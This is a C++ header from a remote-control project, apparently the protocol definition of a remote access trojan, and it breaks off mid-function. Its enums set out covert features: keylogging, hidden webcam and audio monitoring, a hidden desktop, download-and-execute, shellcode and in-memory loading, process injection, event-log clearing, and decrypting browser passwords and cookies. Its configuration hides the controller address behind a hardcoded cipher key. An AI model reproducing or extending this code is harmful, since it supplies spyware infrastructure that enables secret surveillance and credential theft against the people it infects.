Files
SimpleRemoter/common/commands.h
2026-04-19 22:55:21 +02:00

1452 lines
46 KiB
C++
Raw Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
#pragma once
#include <vector>
#include <string>
#include <iosfwd>
#include <iostream>
#include <sstream>
#include <string.h>
#include <map>
#include <numeric>
#include <ctime>
#include <chrono>
#include <climits>
#ifdef _WIN32
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <concrt.h>
#include <corecrt_io.h>
#define MVirtualFree(a1, a2, a3) VirtualFree(a1, a2, a3)
#define MVirtualAlloc(a1, a2, a3, a4) VirtualAlloc(a1, a2, a3, a4)
#else // 使得该头文件在 LINUX 正常使用
#include <thread>
#define strcat_s strcat
#define sprintf_s sprintf
#define strcpy_s strcpy
#define __stdcall
#define WINAPI
#define TRUE 1
#define FALSE 0
#define skCrypt(p) p
#define Mprintf printf
#define ASSERT(p)
#define AUTO_TICK_C(p, q)
#define AUTO_TICK(p, q)
#define STOP_TICK
#define OutputDebugStringA(p) printf(p)
#include <unistd.h>
#define Sleep(n) ((n) >= 1000 ? sleep((n) / 1000) : usleep((n) * 1000))
typedef int64_t __int64;
typedef uint16_t WORD;
typedef uint32_t DWORD;
typedef int BOOL, SOCKET;
typedef unsigned int ULONG;
typedef unsigned int UINT;
typedef void VOID;
typedef unsigned char BYTE;
typedef BYTE* PBYTE, * LPBYTE;
typedef void* LPVOID, * HANDLE;
typedef int32_t LONG;
typedef struct {
LONG x;
LONG y;
} POINT;
#define GET_PROCESS(a1, a2)
#define MVirtualFree(a1, a2, a3) delete[]a1
#define MVirtualAlloc(a1, a2, a3, a4) new BYTE[a2]
#define CopyMemory memcpy
#define MoveMemory memmove
#define INVALID_SOCKET -1
#define SOCKET_ERROR -1
#define closesocket close
#define CloseHandle(p)
#define SAFE_CLOSE_HANDLE(p)
#define CancelIo(p) close(reinterpret_cast<intptr_t>(p))
#endif
#include "ip_enc.h"
#include <time.h>
#include <unordered_map>
#ifndef _MAX_PATH
#define _MAX_PATH 260
#endif
// 屏幕类型(用于 ScreenSettings.ScreenType
enum ScreenType {
USING_GDI = 0, // GDI 截屏
USING_DXGI = 1, // DXGI 截屏
USING_VIRTUAL = 2, // 虚拟桌面
USING_WINDOW_CAPTURE = 3, // 窗口捕获 (Graphics Capture API, Win10 1803+)
};
// 以下2个数字需全局唯一否则在生成服务时会出问题
#define FLAG_FINDEN "Hello, World!"
#define FLAG_GHOST FLAG_FINDEN
#include "hash.h"
#ifndef GET_FILEPATH
#define GET_FILEPATH(dir,file) [](char*d,const char*f){char*p=d;while(*p)++p;while('\\'!=*p&&p!=d)--p;strcpy(p+1,f);return d;}(dir,file)
#endif
inline int isValid_60s()
{
static time_t tm = time(nullptr);
int span = int(time(nullptr) - tm);
return span <= 60;
}
inline int isValid_30s()
{
static time_t tm = time(nullptr);
int span = int(time(nullptr) - tm);
return span <= 30;
}
inline int isValid_10s()
{
static time_t tm = time(nullptr);
int span = int(time(nullptr) - tm);
return span <= 10;
}
// 当程序功能明显发生变化时,应该更新这个值,以便对被控程序进行区分
#define DLL_VERSION __DATE__ // DLL版本
// 客户端能力位
#define CLIENT_CAP_V2 0x0001 // 支持 V2 文件传输
#define TALK_DLG_MAXLEN 1024 // 最大输入字符长度
// 客户端状态: 1-被控端退出 2-主控端退出
enum State {
S_CLIENT_NORMAL = 0,
S_CLIENT_EXIT = 1,
S_SERVER_EXIT = 2,
S_CLIENT_UPDATE = 3,
};
// 命令枚举列表
enum {
// 文件传输方式
TRANSFER_MODE_NORMAL = 0x00, // 一般,如果本地或者远程已经有,取消
TRANSFER_MODE_ADDITION, // 追加
TRANSFER_MODE_ADDITION_ALL, // 全部追加
TRANSFER_MODE_OVERWRITE, // 覆盖
TRANSFER_MODE_OVERWRITE_ALL, // 全部覆盖
TRANSFER_MODE_JUMP, // 覆盖
TRANSFER_MODE_JUMP_ALL, // 全部覆盖
TRANSFER_MODE_CANCEL, // 取消传送
// 控制端发出的命令
COMMAND_ACTIVED = 0x00, // 服务端可以激活开始工作
COMMAND_LIST_DRIVE, // 列出磁盘目录
COMMAND_LIST_FILES, // 列出目录中的文件
COMMAND_DOWN_FILES, // 下载文件
COMMAND_FILE_SIZE, // 上传时的文件大小
COMMAND_FILE_DATA, // 上传时的文件数据
COMMAND_EXCEPTION, // 传输发生异常,需要重新传输
COMMAND_CONTINUE, // 传输正常,请求继续发送数据
COMMAND_STOP, // 传输中止
COMMAND_DELETE_FILE, // 删除文件
COMMAND_DELETE_DIRECTORY, // 删除目录
COMMAND_SET_TRANSFER_MODE, // 设置传输方式
COMMAND_CREATE_FOLDER, // 创建文件夹
COMMAND_RENAME_FILE, // 文件或文件改名
COMMAND_OPEN_FILE_SHOW, // 显示打开文件
COMMAND_OPEN_FILE_HIDE, // 隐藏打开文件
COMMAND_SCREEN_SPY, // 屏幕查看
COMMAND_SCREEN_RESET, // 改变屏幕深度
COMMAND_ALGORITHM_RESET, // 改变算法
COMMAND_SCREEN_CTRL_ALT_DEL, // 发送Ctrl+Alt+Del
COMMAND_SCREEN_CONTROL, // 屏幕控制
COMMAND_SCREEN_BLOCK_INPUT, // 锁定服务端键盘鼠标输入
COMMAND_SCREEN_BLANK, // 服务端黑屏
COMMAND_SCREEN_CAPTURE_LAYER, // 捕捉层
COMMAND_SCREEN_GET_CLIPBOARD, // 获取远程剪贴版
COMMAND_SCREEN_SET_CLIPBOARD, // 设置远程剪帖版
COMMAND_WEBCAM, // 摄像头
COMMAND_WEBCAM_ENABLECOMPRESS, // 摄像头数据要求经过H263压缩
COMMAND_WEBCAM_DISABLECOMPRESS, // 摄像头数据要求原始高清模式
COMMAND_WEBCAM_RESIZE, // 摄像头调整分辩率后面跟两个INT型的宽高
COMMAND_NEXT, // 下一步(控制端已经打开对话框)
COMMAND_KEYBOARD, // 键盘记录
COMMAND_KEYBOARD_OFFLINE, // 开启离线键盘记录
COMMAND_KEYBOARD_CLEAR, // 清除键盘记录内容
COMMAND_AUDIO, // 语音监听
COMMAND_SYSTEM, // 系统管理(进程,窗口....
COMMAND_PSLIST, // 进程列表
COMMAND_WSLIST, // 窗口列表
COMMAND_DIALUPASS, // 拨号密码
COMMAND_KILLPROCESS, // 关闭进程
COMMAND_SHELL, // cmdshell
COMMAND_SESSION, // 会话管理(关机,重启,注销, 卸载)
COMMAND_REMOVE, // 卸载后门
COMMAND_DOWN_EXEC, // 其它功能 - 下载执行
COMMAND_UPLOAD_EXEC, // 其它功能 - 上传执行
COMMAND_CLEAN_EVENT, // 其它管理 - 清除系统日志
COMMAND_OPEN_URL_HIDE, // 其它管理 - 隐藏打开网页
COMMAND_OPEN_URL_SHOW, // 其它管理 - 显示打开网页
COMMAND_RENAME_REMARK, // 重命名备注
COMMAND_REPLAY_HEARTBEAT, // 回复心跳包
COMMAND_SERVICES, // 服务管理
COMMAND_REGEDIT,
COMMAND_TALK, // 即时消息验证
COMMAND_UPDATE = 53, // 客户端升级
COMMAND_SHARE = 59, // 分享主机
COMMAND_PROXY = 60, // 代理映射
TOKEN_SYSINFOLIST = 61, // 主机管理
TOKEN_CHAT_START = 62, // 远程交谈
TOKEN_UNINSTALL = 63, // 卸载主机
TOKEN_PRIVATESCREEN = 64, // 隐私屏幕
TOKEN_MACHINE_MANAGE = 65, // 机器管理
COMMAND_GET_FOLDER = 66, // 获取目录
COMMAND_GET_FILE = 67, // 获取文件
COMMAND_SEND_FILE = 68, // 发送文件
COMMAND_SWITCH_SCREEN = 69,
CMD_MULTITHREAD_COMPRESS = 70,
CMD_FPS = 71,
CMD_COMPRESS_FILES = 72, // 压缩文件
CMD_UNCOMPRESS_FILES = 73, // 解压文件
CMD_SCREEN_SIZE = 74,
CMD_FULL_SCREEN = 75,
CMD_REMOTE_CURSOR = 76,
CMD_SCROLL_INTERVAL = 77, // 滚动检测间隔
CMD_QUALITY_LEVEL = 78, // 质量等级 (-1=自适应, 0-4=具体等级)
CMD_INSTRUCTION_SET = 79,
CMD_QUALITY_PROFILES = 80, // 下发质量配置表 (1 + QUALITY_COUNT * sizeof(QualityProfile))
CMD_TERMINAL_RESIZE = 81, // 终端尺寸调整: [cmd:1][cols:2][rows:2]
CMD_RESTORE_CONSOLE = 82, // RDP会话归位恢复控制台会话
CMD_RESET_VIRTUAL_DESKTOP = 83, // 重置虚拟桌面(关闭所有窗口重新启动)
CMD_SWITCH_WINDOW = 84, // 切换窗口(类似 Alt+Tab
// V2 文件传输C2C + 断点续传)
COMMAND_SEND_FILE_V2 = 85, // V2 文件传输
COMMAND_FILE_RESUME = 86, // V2 断点续传控制(响应)
COMMAND_CLIPBOARD_V2 = 87, // V2 剪贴板请求C2C
COMMAND_FILE_QUERY_RESUME = 88, // V2 查询续传状态(请求)
COMMAND_C2C_PREPARE = 89, // C2C 准备接收(通知目标捕获目录)
COMMAND_C2C_TEXT = 90, // C2C 文本剪贴板: [cmd:1][dstClientID:8][textLen:4][text:N]
COMMAND_FILE_COMPLETE_V2 = 91, // V2 文件完成校验: [cmd][transferID][fileIndex][fileSize][sha256]
COMMAND_C2C_PREPARE_RESP = 92, // C2C 准备响应(返回目标目录给发送方)
CMD_CURSOR_IMAGE = 93, // 自定义光标图像: [cmd:1][hash:4][hotX:2][hotY:2][w:1][h:1][BGRA:w*h*4]
CMD_DOWN_FILES_V2 = 94, // V2下载请求: [cmd:1][targetDir\0][file1\0][file2\0]...[\0]
CMD_AUDIO_CTRL = 95, // 音频控制: [cmd:1][enable:1][persist:1]
TOKEN_SCREEN_AUDIO = 96, // 音频数据: [token:1][hasFormat:1][AudioFormat?][data]
COMMAND_SHARE_CANCEL = 97,
TOKEN_SCROLL_FRAME = 99, // 滚动优化帧
// 服务端发出的标识
TOKEN_AUTH = 100, // 要求验证
TOKEN_HEARTBEAT, // 心跳包
TOKEN_LOGIN, // 上线包
TOKEN_DRIVE_LIST, // 驱动器列表
TOKEN_FILE_LIST, // 文件列表
TOKEN_FILE_SIZE, // 文件大小,传输文件时用
TOKEN_FILE_DATA, // 文件数据
TOKEN_TRANSFER_FINISH, // 传输完毕
TOKEN_DELETE_FINISH, // 删除完毕
TOKEN_GET_TRANSFER_MODE, // 得到文件传输方式
TOKEN_GET_FILEDATA, // 远程得到本地文件数据
TOKEN_CREATEFOLDER_FINISH, // 创建文件夹任务完成
TOKEN_DATA_CONTINUE, // 继续传输数据
TOKEN_RENAME_FINISH, // 改名操作完成
TOKEN_EXCEPTION, // 操作发生异常
TOKEN_BITMAPINFO, // 屏幕查看的BITMAPINFO
TOKEN_FIRSTSCREEN, // 屏幕查看的第一张图
TOKEN_NEXTSCREEN, // 屏幕查看的下一张图
TOKEN_CLIPBOARD_TEXT, // 屏幕查看时发送剪帖版内容
TOKEN_WEBCAM_BITMAPINFO, // 摄像头的BITMAPINFOHEADER
TOKEN_WEBCAM_DIB, // 摄像头的图像数据
TOKEN_AUDIO_START, // 开始语音监听
TOKEN_AUDIO_DATA, // 语音监听数据
TOKEN_KEYBOARD_START, // 键盘记录开始
TOKEN_KEYBOARD_DATA, // 键盘记录的数据
TOKEN_PSLIST, // 进程列表
TOKEN_WSLIST, // 窗口列表
TOKEN_DIALUPASS, // 拨号密码
TOKEN_SHELL_START, // 远程终端开始
TOKEN_SERVERLIST, // 服务列表
COMMAND_SERVICELIST, // 刷新服务列表
COMMAND_SERVICECONFIG, // 服务端发出的标识
TOKEN_TALK_START, // 即时消息开始
TOKEN_TALKCMPLT, // 即时消息可重发
TOKEN_KEYFRAME=134, // 关键帧
TOKEN_BITMAPINFO_HIDE, // 虚拟屏幕
TOKEN_SCREEN_SIZE, // 屏幕大小
TOKEN_DRIVE_LIST_PLUGIN = 150, // 文件管理(插件)
TOKEN_DRAWING_BOARD=151, // 画板
TOKEN_DECRYPT = 199,
TOKEN_REGEDIT = 200, // 注册表
COMMAND_REG_FIND, // 注册表 管理标识
TOKEN_REG_KEY,
TOKEN_REG_PATH,
COMMAND_BYE, // 被控端退出
SERVER_EXIT=205, // 主控端退出
COMMAND_CC, // CC
COMMAND_ASSIGN_MASTER, // 分配主控
COMMAND_FILE_DETECT, // 文件探测
COMMAND_FILE_REPORT, // 文件上报
SOCKET_DLLLOADER=210, // 客户端请求DLL
CMD_DLLDATA, // 响应DLL数据
CMD_RUNASADMIN=214, // ADMIN 运行
CMD_MASTERSETTING = 215, // 主控设置
CMD_HEARTBEAT_ACK = 216, // 心跳回应
CMD_PADDING =217,
CMD_AUTHORIZATION = 222, // 授权
CMD_SERVER_ADDR = 229, // 主控地址
TOKEN_ERROR = 230, // 错误提示
TOKEN_SHELL_DATA = 231, // 终端结果
TOKEN_TERMINAL_START = 232, // Linux PTY 终端开始 (WebView2 + xterm.js)
TOKEN_TERMINAL_CLOSE = 233, // Linux PTY 终端关闭 (shell 退出)
CMD_EXECUTE_DLL = 240, // 执行代码
TOKEN_CLIENT_MSG = 241, // 客户端消息
CMD_SET_GROUP = 242, // 修改分组
CMD_EXECUTE_DLL_NEW = 243, // 执行代码
CMD_PEER_TO_PEER = 244, // P2P通信
};
enum MachineCommand {
MACHINE_LOGOUT,
MACHINE_SHUTDOWN,
MACHINE_REBOOT,
};
enum ProxyManager {
TOKEN_PROXY_CONNECT_RESULT,
TOKEN_PROXY_BIND_RESULT,
TOKEN_PROXY_CLOSE,
TOKEN_PROXY_DATA,
COMMAND_PROXY_CLOSE,
COMMAND_PROXY_CONNECT,
COMMAND_PROXY_DATA,
COMMAND_PROXY_CONNECT_HOSTNAME,
};
// 后台屏幕其他命令
enum HideScreenSpy {
COMMAND_FLUSH_HIDE, // 刷新屏幕
COMMAND_SCREEN_SETSCREEN_HIDE, // 重置分辨率
COMMAND_HIDE_USER, // 自定义命令
COMMAND_HIDE_CLEAR, // 清理后台
COMMAND_COMMAND_SCREENUALITY60_HIDE, // 清晰度
COMMAND_COMMAND_SCREENUALITY85_HIDE, // 清晰度
COMMAND_COMMAND_SCREENUALITY100_HIDE, // 清晰度
IDM_OPEN_Explorer = 33,
IDM_OPEN_run,
IDM_OPEN_Powershell,
IDM_OPEN_360JS,
IDM_OPEN_360AQ,
IDM_OPEN_360AQ2,
IDM_OPEN_Chrome,
IDM_OPEN_Edge,
IDM_OPEN_Brave,
IDM_OPEN_Firefox,
IDM_OPEN_Iexplore,
IDM_OPEN_ADD_1,
IDM_OPEN_ADD_2,
IDM_OPEN_ADD_3,
IDM_OPEN_ADD_4,
IDM_OPEN_zdy,
IDM_OPEN_zdy2,
IDM_OPEN_close,
};
struct ZdyCmd {
char oldpath[_MAX_PATH];
char newpath[_MAX_PATH];
char cmdline[_MAX_PATH];
};
// 解密数据
enum DecryptCommand {
COMMAND_LLQ_GetChromePassWord,
COMMAND_LLQ_GetEdgePassWord,
COMMAND_LLQ_GetSpeed360PassWord,
COMMAND_LLQ_Get360sePassWord,
COMMAND_LLQ_GetQQBroPassWord,
COMMAND_LLQ_GetChromeCookies,
};
typedef DecryptCommand BroType;
// 这是服务管理页面既有定义
#define CMD_WINDOW_CLOSE 0 // 关闭窗口
#define CMD_WINDOW_TEST 1 // 操作窗口
// MachineManager 系统管理, 前几个枚举值顺序不得修改
enum MachineManager {
COMMAND_MACHINE_PROCESS,
COMMAND_MACHINE_WINDOWS,
COMMAND_MACHINE_NETSTATE,
COMMAND_MACHINE_SOFTWARE,
COMMAND_MACHINE_HTML,
COMMAND_MACHINE_FAVORITES,
COMMAND_MACHINE_WIN32SERVICE,
COMMAND_MACHINE_DRIVERSERVICE,
COMMAND_MACHINE_TASK,
COMMAND_MACHINE_HOSTS, //不能乱序号
COMMAND_APPUNINSTALL,//卸载
COMMAND_WINDOW_OPERATE,//窗口控制
COMMAND_WINDOW_CLOSE,//关闭
COMMAND_PROCESS_KILL,//结束进程
COMMAND_PROCESS_KILLDEL,//结束进程----删除
COMMAND_PROCESS_DEL,//强制删除 不需要结束进程
COMMAND_PROCESS_FREEZING,//冻结
COMMAND_PROCESS_THAW,//解冻
COMMAND_HOSTS_SET,//hosts
COMMAND_SERVICE_LIST_WIN32,
COMMAND_SERVICE_LIST_DRIVER,
COMMAND_DELETESERVERICE,
COMMAND_STARTSERVERICE,
COMMAND_STOPSERVERICE,
COMMAND_PAUSESERVERICE,
COMMAND_CONTINUESERVERICE,
COMMAND_TASKCREAT,
COMMAND_TASKDEL,
COMMAND_TASKSTOP,
COMMAND_TASKSTART,
COMMAND_INJECT,
TOKEN_MACHINE_PROCESS,
TOKEN_MACHINE_WINDOWS,
TOKEN_MACHINE_NETSTATE,
TOKEN_MACHINE_SOFTWARE,
TOKEN_MACHINE_HTML,
TOKEN_MACHINE_FAVORITES,
TOKEN_MACHINE_WIN32SERVICE,
TOKEN_MACHINE_DRIVERSERVICE,
TOKEN_MACHINE_HOSTS,
TOKEN_MACHINE_SERVICE_LIST,
TOKEN_MACHINE_TASKLIST,
TOKEN_MACHINE_MSG,
};
struct WINDOWSINFO {
char strTitle[1024];
DWORD m_poceessid;
DWORD m_hwnd;
bool canlook;
int w;
int h;
};
// 远程交谈
enum ChatManager {
COMMAND_NEXT_CHAT,
COMMAND_CHAT_CLOSE,
COMMAND_CHAT_SCREEN_LOCK,
COMMAND_CHAT_SCREEN_UNLOCK,
};
// 文件管理
enum _FileManager {
COMMAND_COMPRESS_FILE_PARAM=220,
COMMAND_FILES_SEARCH_START,
COMMAND_FILES_SEARCH_STOP,
COMMAND_FILE_EXCEPTION,
COMMAND_SEARCH_FILE,
COMMAND_FILE_GETNETHOOD,
COMMAND_FILE_RECENT,
COMMAND_FILE_INFO,
COMMAND_FILE_Encryption,
COMMAND_FILE_Decrypt,
COMMAND_FILE_ENFOCE,
COMMAND_FILE_CopyFile,
COMMAND_FILE_PasteFile,
COMMAND_FILE_zip,
COMMAND_FILE_zip_stop,
COMMAND_FILE_NO_ENFORCE,
COMMAND_FILE_GETINFO,
COMMAND_FILE_SEARCHPLUS_LIST,
TOKEN_SEARCH_FILE_LIST,
TOKEN_SEARCH_FILE_FINISH,
TOKEN_CFileManagerDlg_DATA_CONTINUE,
TOKEN_COMPRESS_FINISH,
TOKEN_SEARCH_ADD,
TOKEN_SEARCH_END,
TOKEN_FILE_GETNETHOOD,
TOKEN_FILE_RECENT,
TOKEN_FILE_INFO,
TOKEN_FILE_REFRESH,
TOKEN_FILE_ZIPOK,
TOKEN_FILE_GETINFO,
TOKEN_FILE_SEARCHPLUS_LIST,
TOKEN_FILE_SEARCHPLUS_NONTFS,
TOKEN_FILE_SEARCHPLUS_HANDLE,
TOKEN_FILE_SEARCHPLUS_INITUSN,
TOKEN_FILE_SEARCHPLUS_GETUSN,
TOKEN_FILE_SEARCHPLUS_NUMBER,
};
// 远程画板
enum RemoteDraw {
CMD_DRAW_POINT = 0,
CMD_DRAW_END = 1,
CMD_TRANSPORT = 2,
CMD_TOPMOST = 3,
CMD_MOVEWINDOW = 4,
CMD_SET_SIZE = 5,
CMD_DRAW_CLEAR = 6,
CMD_DRAW_TEXT = 7,
};
enum {
CLIENT_TYPE_DLL = 0, // 客户端代码以DLL运行
CLIENT_TYPE_ONE = 1, // 客户端代码以单个EXE运行
CLIENT_TYPE_MEMEXE = -1, // 内存EXE运行
CLIENT_TYPE_MODULE = 2, // DLL需由外部程序调用
CLIENT_TYPE_SHELLCODE = 4, // Shellcode
CLIENT_TYPE_MEMDLL = 5, // 内存DLL运行
CLIENT_TYPE_LINUX = 6, // LINUX 客户端
};
enum {
SHARE_TYPE_YAMA = 0, // 分享给同类程序
SHARE_TYPE_HOLDINGHANDS = 1, // 分享给 HoldingHands: https://github.com/yuanyuanxiang/HoldingHands
SHARE_TYPE_YAMA_FOREVER = 100, // 永久分享
};
inline const char* GetClientType(int typ)
{
switch (typ) {
case CLIENT_TYPE_DLL:
return "DLL";
case CLIENT_TYPE_ONE:
return "EXE";
case CLIENT_TYPE_MEMEXE:
return "MEXE";
case CLIENT_TYPE_MODULE:
return "DLL";
case CLIENT_TYPE_SHELLCODE:
return "SC";
case CLIENT_TYPE_MEMDLL:
return "MDLL";
case CLIENT_TYPE_LINUX:
return "LNX";
default:
return "DLL";
}
}
inline int compareDates(const std::string& date1, const std::string& date2)
{
static const std::unordered_map<std::string, int> monthMap = {
{"Jan", 1}, {"Feb", 2}, {"Mar", 3}, {"Apr", 4}, {"May", 5}, {"Jun", 6},
{"Jul", 7}, {"Aug", 8}, {"Sep", 9}, {"Oct",10}, {"Nov",11}, {"Dec",12}
};
auto parse = [&](const std::string& date) -> std::tuple<int, int, int> {
int month = monthMap.at(date.substr(0, 3));
int day = std::stoi(date.substr(4, 2));
int year = std::stoi(date.substr(7, 4));
return { year, month, day };
};
try {
auto t1 = parse(date1);
auto t2 = parse(date2);
int y1 = std::get<0>(t1), m1 = std::get<1>(t1), d1 = std::get<2>(t1);
int y2 = std::get<0>(t2), m2 = std::get<1>(t2), d2 = std::get<2>(t2);
if (y1 != y2) return y1 < y2 ? -1 : 1;
if (m1 != m2) return m1 < m2 ? -1 : 1;
if (d1 != d2) return d1 < d2 ? -1 : 1;
return 0;
} catch (const std::exception& e) {
std::cerr << "Date parse error: " << e.what() << std::endl;
return -2; // 返回特殊值表示出错
}
}
// 此枚举值和ClientType相似但又不是完全一致专为`TestRun`定制
// 指本质上运行`ServerDll`的形式
// `TestRun` 只用于技术研究目的
enum TestRunType {
Startup_DLL, // 磁盘DLL
Startup_MEMDLL, // 内存DLL无磁盘文件
Startup_InjDLL, // 远程注入 DLL注入DLL路径仍依赖磁盘DLL
Startup_Shellcode, // 本地 Shell code 在当前程序执行shell code
Startup_InjSC, // 远程 Shell code 注入其他程序执行shell code
Startup_GhostMsc, // Windows 服务
Startup_TestRunMsc, // Windows 服务
};
inline int MemoryFind(const char* szBuffer, const char* Key, int iBufferSize, int iKeySize)
{
for (int i = 0; i <= iBufferSize - iKeySize; ++i) {
if (0 == memcmp(szBuffer + i, Key, iKeySize)) {
return i;
}
}
return -1;
}
enum ProtoType {
PROTO_TCP = 0, // TCP
PROTO_UDP = 1, // UDP
PROTO_HTTP = 2, // HTTP
PROTO_RANDOM = 3, // 随机
PROTO_KCP = 4, // KCP
PROTO_HTTPS = 5, // HTTPS
};
#define KCP_SESSION_ID 666
enum RunningType {
RUNNING_RANDOM = 0, // 随机上线
RUNNING_PARALLEL = 1, // 并发上线
};
enum ProtocolEncType {
PROTOCOL_SHINE = 0,
PROTOCOL_HELL = 1,
};
enum ClientCompressType {
CLIENT_COMPRESS_NONE = 0,
CLIENT_COMPRESS_UPX = 1,
CLIENT_COMPRESS_SC_AES = 2,
CLIENT_PE_TO_SEHLLCODE = 3,
CLIENT_COMPRESS_SC_AES_OLD = 4,
CLIENT_SHELLCODE_BINARY = 5,
CLIENT_COMP_SC_AES_OLD_UPX = 6,
};
inline std::vector<std::string> StringToVector(const std::string& str, char ch, int reserved = 1);
#pragma pack(push, 4)
// 所连接的主控程序信息
typedef struct CONNECT_ADDRESS {
public:
char szFlag[32]; // 标识
char szServerIP[100]; // 主控IP
char szPort[8]; // 主控端口
int iType; // 客户端类型
bool bEncrypt; // 上线信息是否加密
char szBuildDate[12]; // 构建日期(版本)
int iMultiOpen; // 支持打开多个
int iStartup; // 启动方式
int iHeaderEnc; // 数据加密类型
char protoType; // 协议类型
char runningType; // 运行方式
char szGroupName[24]; // 分组名称
char runasAdmin; // 是否提升权限运行
char szReserved[11]; // 占位使结构体占据300字节
uint64_t clientID; // 客户端唯一标识
uint64_t parentHwnd; // 父进程窗口句柄
uint64_t superAdmin; // 管理员主控ID
char pwdHash[64]; // 密码哈希
/* Since 2026-01-10 */
char installDir[32]; // 安装目录
char installName[32]; // 安装名称
char installDesc[136];// 安装描述
char szFututre[500]; // 保留字段
public:
void SetType(int typ)
{
iType = typ;
}
const void* Flag() const
{
return szFlag;
}
CONNECT_ADDRESS ModifyFlag(const char* flag) const
{
CONNECT_ADDRESS copy = *this;
memset(copy.szFlag, 0, sizeof(szFlag));
memcpy(copy.szFlag, flag, strlen(flag));
return copy;
}
void SetAdminId(const char* admin)
{
char buf[17] = { 0 };
strncpy(buf, admin, 16);
superAdmin = std::strtoull(buf, NULL, 16);
}
int GetHeaderEncType() const
{
#ifdef _DEBUG
return iHeaderEnc;
#else
return superAdmin == 7057226198541618915 ? iHeaderEnc : 0;
#endif
}
bool IsVerified() const
{
#ifdef _DEBUG
return true;
#else
return superAdmin && (superAdmin % 313) == 0;
#endif
}
int FlagLen() const
{
return strlen(szFlag);
}
const char* ServerIP()
{
if (bEncrypt) {
Decrypt();
}
return szServerIP;
}
// 从分号分隔的多 IP 中随机选择一个
std::string GetRandomServerIP()
{
const char* ip = ServerIP();
if (ip == nullptr || strlen(ip) == 0) return "";
auto list = StringToVector(ip, ';');
if (list.empty()) return "";
return list[rand() % list.size()];
}
// 获取第一个 IP
std::string GetFirstServerIP()
{
const char* ip = ServerIP();
if (ip == nullptr || strlen(ip) == 0) return "";
auto list = StringToVector(ip, ';');
return list.empty() ? "" : list[0];
}
int ServerPort()
{
if (bEncrypt) {
Decrypt();
}
return atoi(szPort);
}
int ClientType()const
{
return iType;
}
// return true if modified
bool SetServer(const char* ip, int port, bool e = false)
{
if (ip == NULL || strlen(ip) <= 0 || port <= 0)
return false;
bool modified = bEncrypt != e || strcmp(ServerIP(), ip) != 0 || port != ServerPort();
bEncrypt = e;
strcpy_s(szServerIP, ip);
sprintf_s(szPort, "%d", port);
return modified;
}
void Encrypt()
{
if (!bEncrypt) {
bEncrypt = true;
StreamCipher cipher(0x12345678);
cipher.process((uint8_t*)szServerIP, sizeof(szServerIP));
cipher.process((uint8_t*)szPort, sizeof(szPort));
}
}
void Decrypt()
{
if (bEncrypt) {
bEncrypt = false;
StreamCipher cipher(0x12345678);
cipher.process((uint8_t*)szServerIP, sizeof(szServerIP));
cipher.process((uint8_t*)szPort, sizeof(szPort));
}
}
bool IsValid()
{
return strlen(ServerIP()) != 0 && ServerPort() > 0;
}
int Size() const
{
return sizeof(CONNECT_ADDRESS);
}
} CONNECT_ADDRESS ;
#pragma pack(pop)
#define FOREVER_RUN 2
// 客户端程序线程信息结构体, 包含5个成员:
// 运行状态(run)、句柄(h)、通讯客户端(p)、调用者参数(user)和连接信息(conn).
struct ThreadInfo {
int run;
HANDLE h;
void* p;
void* user;
CONNECT_ADDRESS* conn;
ThreadInfo() : run(1), h(NULL), p(NULL), user(NULL), conn(NULL) { }
void Exit(int wait_sec = 15)
{
run = 0;
for (int count = 0; p && count++ < wait_sec; Sleep(1000));
#ifdef _WIN32
if (p) TerminateThread(h, 0x20250626);
if (p) CloseHandle(h);
#endif
p = NULL;
h = NULL;
user = NULL;
conn = NULL;
}
};
struct PluginParam {
char IP[100]; // 主控IP
int Port; // 主控端口
const State *Exit; // 客户端状态
const void* User; // CONNECT_ADDRESS* 指针
PluginParam(const char*ip, int port, const State *s, const void* u=0) : Port(port), Exit(s), User(u)
{
strcpy_s(IP, ip);
}
};
// 将字符串按指定字符分隔为向量
inline std::vector<std::string> StringToVector(const std::string& str, char ch, int reserved)
{
// 使用字符串流来分隔字符串
std::istringstream stream(str);
std::string item;
std::vector<std::string> result;
// 按分号分隔字符串
while (std::getline(stream, item, ch)) {
result.push_back(item); // 将分隔出来的子字符串添加到结果向量中
}
while (result.size() < reserved)
result.push_back("");
return result;
}
inline bool VectorContains(const std::vector<std::string>& v, const std::string& elem) {
for (const auto& s : v)
if (s == elem) return true;
return false;
}
inline std::string VectorJoin(const std::vector<std::string>& v, char ch) {
std::string result;
for (size_t i = 0; i < v.size(); ++i) {
if (i > 0) result += ch;
result += v[i];
}
return result;
}
enum LOGIN_RES {
RES_CLIENT_TYPE = 0, // 类型
RES_SYSTEM_BITS = 1, // 系统位数
RES_SYSTEM_CPU = 2, // CPU核数
RES_SYSTEM_MEM = 3, // 系统内存
RES_FILE_PATH = 4, // 文件路径
RES_RESVERD = 5, // ?
RES_INSTALL_TIME = 6, // 安装时间
RES_INSTALL_INFO = 7, // 安装信息
RES_PROGRAM_BITS = 8, // 程序位数
RES_EXPIRED_DATE = 9, // 到期日期
RES_CLIENT_LOC = 10, // 地理位置
RES_CLIENT_PUBIP = 11, // 公网地址
RES_EXE_VERSION = 12, // EXE版本
RES_USERNAME = 13, // 电脑用户名称
RES_ISADMIN = 14, // 是否具有管理员权限
RES_RESOLUTION = 15, // 屏幕分辨率
RES_CLIENT_ID = 16, // 客户端唯一ID
RES_PID = 17, // 进程ID
RES_FILESIZE = 18, // 文件大小
RES_MAX,
};
// 服务上线后发送的计算机信息
// 此结构体一旦发生变化(比如大小),则以前版本的客户端无法连接新版主控.
// 新版客户端也无法连接老版本的主控程序.
// 为此自20241228提交以来为这个结构体预留字段以便未来之不时之需
// 请勿再修改此结构体,除非你决定不再兼容以前的程序或者单独编写代码来兼容
typedef struct LOGIN_INFOR {
unsigned char bToken; // 1.登陆信息
char OsVerInfoEx[156]; // 2.版本信息
unsigned int dwCPUMHz; // 3.CPU主频
char moduleVersion[24]; // 4.DLL模块版本
char szPCName[240]; // 5.主机名
char szMasterID[20]; // 5.1 主控ID
int bWebCamIsExist; // 6.是否有摄像头
unsigned int dwSpeed; // 7.网速
char szStartTime[20]; // 8.启动时间
char szReserved[512]; // 9.保留字段
LOGIN_INFOR()
{
memset(this, 0, sizeof(LOGIN_INFOR));
bToken = TOKEN_LOGIN;
sprintf_s(moduleVersion, "%s-%04X", DLL_VERSION, CLIENT_CAP_V2);
}
LOGIN_INFOR& Speed(unsigned long speed)
{
dwSpeed = speed;
return *this;
}
void AddReserved(const char* v)
{
if (strlen(szReserved))
strcat_s(szReserved, "|");
